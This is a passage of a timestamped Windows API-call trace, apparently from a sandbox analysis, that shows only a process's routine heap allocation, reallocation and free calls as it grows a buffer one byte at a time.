RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1058 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x693ab8, Size=0x21) returned 0x699b58 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1088 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699b58, Size=0x22) returned 0x699708 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1088 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699708, Size=0x23) returned 0x699ac8 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ac8, Size=0x24) returned 0x6999d8 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.229] GetProcessHeap () returned 0x630000 [0068.229] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6999d8, Size=0x25) returned 0x699c78 [0068.229] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699c78, Size=0x26) returned 0x699af8 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699af8, Size=0x27) returned 0x699858 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f98 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699858, Size=0x28) returned 0x699ca8 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699ca8, Size=0x29) returned 0x66c220 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c220, Size=0x2a) returned 0x66c878 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c878, Size=0x2b) returned 0x66c648 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.230] GetProcessHeap () returned 0x630000 [0068.230] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c648, Size=0x2c) returned 0x66c680 [0068.230] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c680, Size=0x2d) returned 0x66c648 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c648, Size=0x2e) returned 0x66c338 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c338, Size=0x2f) returned 0x66c808 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c808, Size=0x30) returned 0x66c4f8 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66c4f8, Size=0x31) returned 0x659118 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x659118, Size=0x32) returned 0x6585d8 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6585d8, Size=0x33) returned 0x659118 [0068.231] GetProcessHeap () returned 0x630000 [0068.231] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.231] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x659118, Size=0x34) returned 0x6588d8 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6588d8, Size=0x35) returned 0x659118 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f50 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x659118, Size=0x36) returned 0x658798 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f50 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658798, Size=0x37) returned 0x659118 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x659118, Size=0x38) returned 0x658718 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x658718, Size=0x39) returned 0x69ba80 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ba80, Size=0x3a) returned 0x69b6d8 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1040 [0068.232] GetProcessHeap () returned 0x630000 [0068.232] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b6d8, Size=0x3b) returned 0x69bb58 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1040 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69bb58, Size=0x3c) returned 0x69ba80 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ba80, Size=0x3d) returned 0x69b6d8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ea8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b6d8, Size=0x3e) returned 0x69ba80 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ea8 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69ba80, Size=0x3f) returned 0x69b9a8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b9a8, Size=0x40) returned 0x69b6d8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b6d8, Size=0x41) returned 0x6789d0 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.233] GetProcessHeap () returned 0x630000 [0068.233] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.233] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6789d0, Size=0x42) returned 0x679150 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fe0 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679150, Size=0x43) returned 0x679330 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ed8 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fe0 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679330, Size=0x44) returned 0x678d40 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ed8 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678d40, Size=0x45) returned 0x6791a0 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6791a0, Size=0x46) returned 0x679330 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x679330, Size=0x47) returned 0x678a70 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x678a70, Size=0x48) returned 0x6789d0 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.234] GetProcessHeap () returned 0x630000 [0068.234] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6789d0, Size=0x49) returned 0x6afa28 [0068.234] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f68 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afa28, Size=0x4a) returned 0x6afbe0 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f68 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbe0, Size=0x4b) returned 0x6af920 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6af920, Size=0x4c) returned 0x6afbe0 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f80 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbe0, Size=0x4d) returned 0x6afc90 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f80 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc90, Size=0x4e) returned 0x6af870 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f38 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6af870, Size=0x4f) returned 0x6afbe0 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ff8 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0f38 | out: hHeap=0x630000) returned 1 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afbe0, Size=0x50) returned 0x6afc38 [0068.235] GetProcessHeap () returned 0x630000 [0068.235] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0ef0 [0068.235] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ff8 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6afc38, Size=0x51) returned 0x68de18 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0fc8 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0ef0 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68de18, Size=0x52) returned 0x68e6b8 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b0fc8 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e6b8, Size=0x53) returned 0x68e778 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1178 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e778, Size=0x54) returned 0x68e6b8 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1178 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e6b8, Size=0x55) returned 0x68e778 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1118 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e778, Size=0x56) returned 0x68dff8 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b10d0 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1118 | out: hHeap=0x630000) returned 1 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68dff8, Size=0x57) returned 0x68e7d8 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1010 [0068.236] GetProcessHeap () returned 0x630000 [0068.236] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b10d0 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e7d8, Size=0x58) returned 0x68de18 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1100 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1010 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68de18, Size=0x59) returned 0x68f480 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1028 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1100 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f480, Size=0x5a) returned 0x68f688 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b1070 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1028 | out: hHeap=0x630000) returned 1 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68f688, Size=0x5b) returned 0x68f348 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xa) returned 0x6b0f98 [0068.237] GetProcessHeap () returned 0x630000 [0068.237] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6b1070 | out: hHeap=0x630000) returned 